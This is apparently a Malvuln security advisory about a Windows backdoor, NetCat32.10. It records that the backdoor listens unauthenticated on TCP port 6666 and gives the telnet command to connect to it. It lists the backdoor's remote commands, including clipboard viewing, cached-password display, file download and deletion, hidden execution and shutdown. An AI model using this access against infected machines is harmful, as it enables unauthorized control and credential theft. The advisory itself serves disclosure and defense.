Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.NetCat32.10   
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET.   
Family: NetCat32  
Type: PE32  
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3  
Vuln ID: MVID-2022-0550  
Disclosure: 04/14/2022  
telnet.exe x.x.x.x 6666  
HELP This help EXIT Quit your session   
VER Get Versions   
ExitWin Shutdown Windows   
CLIP View Clipboard PASS Display Cached Pass   
DOWNLOAD Host download file GET Get file from host   
EXEC ShellExecute EXECHIDE ShellExecute   
SHOW Show Window HIDE Hide Window   
MAXALL Max all Windows MINALL Min all Windows   
RESTALL Restore Windows LISTWIN List Windows   
DESK Set Desktop Color WALL Set Wallpaper   
MKDIR Make Directory RMDIR Remove Directory   
RM Delete File MOVE Move / Rename File   
LS List Directory TELNET Connect another   
FUNCAP Rock the CapLock CDROM Open/Close cdrom   
EEXXEECC ccaallcc   
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).